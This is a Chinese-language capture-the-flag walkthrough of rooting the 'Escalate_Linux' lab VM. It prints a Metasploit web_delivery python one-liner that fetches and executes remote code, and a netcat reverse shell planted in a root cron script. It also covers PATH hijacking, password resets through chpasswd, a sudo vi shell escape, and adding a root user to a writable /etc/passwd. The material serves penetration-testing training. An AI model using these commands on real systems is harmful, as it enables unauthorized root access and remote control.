Escalate_Linux 多漏洞提权实战

0X1 环境摘要

今天我们为大家分享的是一款多漏洞的Linux靶机,通过系统中的不同漏洞进行提权获得root权限。

扫描

  • Netdiscover
  • NMAP

枚举

  • Web目录扫描

利用

  • Metasploit shell上传
  • LinEnum.sh 查询

权限提升

  • 环境变量提权
  • 文件可写提权
  • SUID提权

0X2 实验步骤

首先开始扫描主机IP地址,使用Netdiscover工具

netdiscover -r 172.16.1.0/24

找到漏洞环境地址是172.16.1.189。然后使用nmap进行全面综合扫描

nmap -A 172.16.1.189
root@kali:~# nmap -A 172.16.1.189
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-06 21:56 CST
Nmap scan report for 172.16.1.189
Host is up (0.00035s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/udp  nfs
|   100003  3,4         2049/tcp  nfs
|   100005  1,2,3      38169/udp  mountd
|   100005  1,2,3      60545/tcp  mountd
|   100021  1,3,4      39381/tcp  nlockmgr
|   100021  1,3,4      52112/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     3 (RPC #100227)
MAC Address: 00:0C:29:EA:F3:51 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\x00
|   Domain name: \x00
|   FQDN: osboxes
|_  System time: 2019-08-06T09:56:52-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-06 21:56:52
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 172.16.1.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

发现有80服务,那就使用dirb扫描一下站点目录,使用-X选项扫描扩展为php格式的文件

dirb http://172.16.1.189/ -X .php

发现一个shell.php路径,浏览器访问一下

提示我们缺少参数,那么我们使用cmd传入一个参数尝试构造

当前用户是一个普通用户,而当前的环境又给了我们命令执行的接口,所以我们使用反弹shell的方式连接进去

msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set srvhost 172.16.1.134
srvhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > set lhost 172.16.1.134
lhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.134:4444 
[*] Using URL: http://172.16.1.134:80/TKEl7A6DrLCUvY9
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.1.134/TKEl7A6DrLCUvY9');exec(r.read());"
msf5 exploit(multi/script/web_delivery) > 
msf5 exploit(multi/script/web_delivery) >

172.16.1.134是kali的ip地址,然后生成一段python的反弹代码,直接执行不成功,URL编码一下。

%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%2e%31%33%34%2f%54%4b%45%6c%37%41%36%44%72%4c%43%55%76%59%39%27%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22%0a

然后在msfconsole终端中发现一个shell连接反弹过来了

等待一会会中断,使用sessions查看所有会话连接

可以看到基本上都是user6返回的连接,使用命令进入meterpreter会话中

sessions -i 1

因为之前我们已经在浏览器中执行过id命令,知道当前是user6用户,是一个id是1005的用户,所以使用upload命令上传linux环境检查脚本,但是失败

换个思路,本地开启web环境,将脚本放置在www目录中,通过进入到靶机中的shell中在tmp目录中执行wget命令下载

成功了!然后改变权限,执行脚本

$ ls
LinEnum.sh
$ $ chmod 777 LinEnum.sh
$ ./LinEnum.sh

然后系统中共有8个用户

我们还发现在crontab中,使用root权限每隔5分钟运行一个名为autoscript.sh的文件。

有没有很熟悉的赶脚?是的,大伙长做的AWD线下的很多后门都在计划任务中。然后可写的文件包括了passwd文件

下面开始进行权限提升不同的方法尝试

I 利用shell文件的SUID权限获取shell

在我们上面使用LinEnum.sh扫描的时候由于网段是NAT,所以在检测的时候/home/目录下的文件权限没有检测出来,但是换成桥接模式之后可以的,很是无语了。所以扫描出的结果正面在/home/user3和/home/user5/目录下有文件具有suid权限

所以这里,我们使用find命令按照执行权限来查找

find / -perm -u=s -type f 2>/dev/nul
-perm 表示按执行权限来查找
-type 表示查是块设备、目录、字符设备、管道、符号链接、普通文件

执行一下

再去执行shell

就可以获得root权限了。

II 通过破解root密码获取root shell

从上面的截图中,我们已经知道了user5目录下的script也可以执行root权限

在这里,我们使用环境变量访问/etc/shadow文件,然后提权。利用环境变量提权的利用可以参考github上开源的exploit-nebula练习环境。

命令如下

echo "cat /etc/shadow"  > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script

执行结果只后没有成功!按照预期,该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可。但是在做的时候这里没有显示出来,试了好长时间,没有成功!如果有小伙伴做出来,可以交流一下。

III 通过利用user1的SUDO权限获取root shell

这里我们使用echo和chpasswd命令用我们的新密码12345替换现有密码。然后使用su命令切换到user1帐户。在检查了user1的sudoer列表后,我们发现该用户可以将所有命令作为sudo运行。所以我们运行命令sudo su并获得root访问权限

 user6  / | tmp  echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo suecho 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
 user6  / | tmp  chmod 777 ls                                                  
 user6  / | tmp  export PATH=/tmp:$PATH                                        
 user6  / | tmp  cd /home/user5                                                
 user6  / | home | user5  ./script                                             
 user6  / | home | user5  su user1                                             
Password: 12345

su: Authentication failure
 user6  / | home | user5  su user1                                             
su user1
Password: 12345

Welcome to Linux Lite 4.4 user1
 
Tuesday 06 August 2019, 11:45:18
Memory Usage: 356/985MB (36.14%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
 user1  /  home  user5  sudo su
sudo su
[sudo] password for user1: 12345

Welcome to Linux Lite 4.4
 
You are running in superuser mode, be very careful.
 
Tuesday 06 August 2019, 11:45:31
Memory Usage: 360/985MB (36.55%)
Disk Usage: 5/217GB (3%)
 
 root  /  home  user5  id
id
uid=0(root) gid=0(root) groups=0(root)
 root  /  home  user5  

IV 通过利用crontab获取root shell

我们通过上一关的利用方式对user4更改密码为12345

然后查看位于该用户桌面的autoscript.sh脚本

里面没啥关键信息。那么我们是不是可以往里面写一段反弹的shell呢?利用msfvenom进行编写。

msfvenom  -p  cmd/unix/reverse_netcat lhost=172.16.1.134  lport=8888  R

然后写入autoscript.sh脚本之中

echo 'mkfifo /tmp/nxbfap; nc 172.16.1.134 8888 0</tmp/nxbfap | /bin/sh >/tmp/nxbfap 2>&1; rm /tmp/nxbfap' > autoscript.sh

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载

即可看到会话过来,查看权限为root权限。

V 通过利用crontab获取root shell

同样的过程,对user8修改密码为12345

echo 'echo "user8:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user8
sudo –l
sudo su

通过sudo -l查看user8的权限发现对vi有特权

那就打开一个vi,输入sh,退出

sudo vi
:!sh 
enter

获得root权限。

Ⅵ 利用/etc/passwd文件的可写权限

查看/etc/passwd文件内容

可以发现user7对于passwd文件应该是可写的。所以和上面几步一样,修改user7的密码为12345

查看user7权限

然后复制kali的passwd文件内容,对pass123求哈希值

openssl  passwd -1 -salt ignite pass123

然后拷贝到新的passwd文件中,用户名是睡大觉简写

sdj:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

保存成新的passwd文件,使用user7用户下载到环境中,覆盖原来的passwd文件内

查看passwd内容并切换账户

提权成功!

总结

这个漏洞环境利用了Linux下常见的一些管理配置上的特性,如SUID、环境变量、特殊文件可写、计划任务等功能,使得我们在以普通用户的身份就可以轻易利用这些漏洞成为管理员,在一般的比赛中是经常的考点。所以我们在平常的练习环境中应该对此类漏洞多多总结,这样在遇到的时候就会很容易发现并加以利用学习。

本文分享自微信公众号 - 安全漏洞环境学习(gh_ddd854e535b8)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-08-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券